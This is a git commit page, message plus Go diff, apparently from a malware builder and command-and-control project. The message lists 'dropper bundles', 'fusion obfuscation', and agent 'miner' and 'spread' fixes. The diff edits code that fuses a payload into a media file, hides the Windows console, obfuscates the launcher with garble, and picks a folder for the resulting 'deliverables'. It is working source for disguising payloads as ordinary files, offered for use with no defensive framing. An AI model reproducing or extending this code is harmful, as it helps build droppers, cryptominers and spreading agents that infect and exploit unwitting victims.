fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes
WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
This commit is contained in:
@@ -135,7 +135,8 @@ func (h *Handler) buildFileFusion(ctx context.Context, buildDir, payloadPath, wo
|
||||
if platform.GOOS == "windows" && !strings.Contains(ldflags, "-H windows") {
|
||||
ldflags += " -H windowsgui"
|
||||
}
|
||||
if _, err := h.compileGoProjectPlatform(ctx, fusionDir, launcherPath, ldflags, nil, false, platform); err != nil {
|
||||
obfuscateLauncher := h.shouldObfuscate(req) && h.garblePath != ""
|
||||
if _, err := h.compileGoProjectPlatform(ctx, fusionDir, launcherPath, ldflags, nil, obfuscateLauncher, platform); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -178,7 +179,8 @@ func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMod
|
||||
}
|
||||
|
||||
for _, name := range []string{
|
||||
"go.mod", "launch_windows.go", "launch_stub.go",
|
||||
"go.mod",
|
||||
"shell_windows.go", "hidden_windows.go",
|
||||
"media_windows.go", "media_linux.go", "media_darwin.go",
|
||||
"media_crypto.go", "cache_windows.go", "cache_unix.go",
|
||||
"lock_hint_windows.go", "lock_hint_stub.go",
|
||||
@@ -282,10 +284,17 @@ func fusionExportSubdir(req *BuildRequest, mediaName string) string {
|
||||
|
||||
func (h *Handler) publishFusionDeliverable(subdir string, artifacts map[string]string, readme fusionReadmeInfo) (string, error) {
|
||||
subdir = sanitizeDirName(subdir)
|
||||
if subdir == "" || h.projectRoot == "" || h.projectRoot == "." {
|
||||
if subdir == "" {
|
||||
return "", nil
|
||||
}
|
||||
destDir := filepath.Join(h.projectRoot, FusionDeliverablesDir, subdir)
|
||||
root := h.projectRoot
|
||||
if root == "" || root == "." {
|
||||
root = h.dataDir
|
||||
}
|
||||
if root == "" {
|
||||
return "", fmt.Errorf("no project root or data directory for fusion deliverables")
|
||||
}
|
||||
destDir := filepath.Join(root, FusionDeliverablesDir, subdir)
|
||||
if err := os.MkdirAll(destDir, 0755); err != nil {
|
||||
return "", fmt.Errorf("failed to create fusion deliverables folder: %w", err)
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user